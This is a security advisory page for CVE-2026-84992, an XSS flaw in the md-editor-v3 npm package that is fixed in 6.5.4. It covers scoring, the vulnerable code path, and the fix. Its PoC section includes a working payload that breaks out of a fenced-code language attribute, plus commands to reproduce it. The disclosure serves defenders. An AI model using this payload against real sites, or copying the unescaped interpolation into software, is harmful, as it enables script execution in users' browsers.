# CVE-2026-84992: md-editor-v3: XSS via fenced-code language rendering bypass

> CVE-2026-84992 (GitHub advisory GHSA-3rm2-h79c-8qw6) is a medium-severity vulnerability with a CVSS 3.1 base score of 6.1, classed as Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79), in md-editor-v3 (npm). Affected versions: <= 6.5.3. It is fixed in 6.5.4.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-84992

| Field | Value |
| --- | --- |
| CVE | CVE-2026-84992 |
| GHSA | GHSA-3rm2-h79c-8qw6 |
| Severity | Medium |
| CVSS 3.1 | 6.1 `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` (GitHub Advisory Database) |
| CWE | CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') |
| EPSS | 0.23% (higher than 14% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable no, technical impact partial |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

`MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled.

##### Details
`useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class="language-${language}"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens before rendering, so it cannot inspect this renderer-generated HTML.

##### PoC
The Vue application enables the shipped `XSSPlugin` and renders attacker-controlled Markdown. `noHighlight: true` only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as `src/main.js`:

```js
import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');
```

Create and run the app, replacing `src/main.js` when indicated:

```sh
npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
### Replace src/main.js with the code above.
npm run dev
```

Opening the displayed URL automatically shows the application hostname in an alert.

##### Impact
An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

##### Suggested fix
Escape `language` with `md.utils.escapeHtml` before interpolation and quote the `language` attribute. Add this payload and the raw control as regression tests with `XSSPlugin` enabled.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| md-editor-v3 | npm | `pkg:npm/md-editor-v3` | <= 6.5.3 | 6.5.4 |

## Fix commits

- Patch: https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10
- Release: https://github.com/imzbf/md-editor-v3/commit/701a5f868886fce273c279f84ed67b6209931b42 (6.5.4)

## Questions

**What is the GHSA ID for CVE-2026-84992?**

GitHub tracks CVE-2026-84992 as GHSA-3rm2-h79c-8qw6.

**What is the CVSS score of CVE-2026-84992?**

CVE-2026-84992 has a CVSS 3.1 base score of 6.1 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

**Which versions are affected by CVE-2026-84992?**

md-editor-v3 (npm): <= 6.5.3.

**How do I fix CVE-2026-84992?**

Upgrade to 6.5.4 or later. The fix is in commit 2c07360.

**What is the Package URL (PURL) for CVE-2026-84992?**

The affected package's PURL is pkg:npm/md-editor-v3.

**Is CVE-2026-84992 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-84992. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.23% chance of exploitation in the next 30 days, higher than 14% of CVEs.

## References

- https://github.com/imzbf/md-editor-v3/commit/2c07360420e74087f5bc63032ab155d93e0a0b10 (fix)
- https://github.com/imzbf/md-editor-v3/security/advisories/GHSA-3rm2-h79c-8qw6 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84992.json (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-84992 (advisory)
- https://github.com/advisories/GHSA-3rm2-h79c-8qw6 (advisory)
- https://github.com/imzbf/md-editor-v3 (package)
- https://github.com/imzbf/md-editor-v3/releases/tag/v6.5.4

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-84992), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.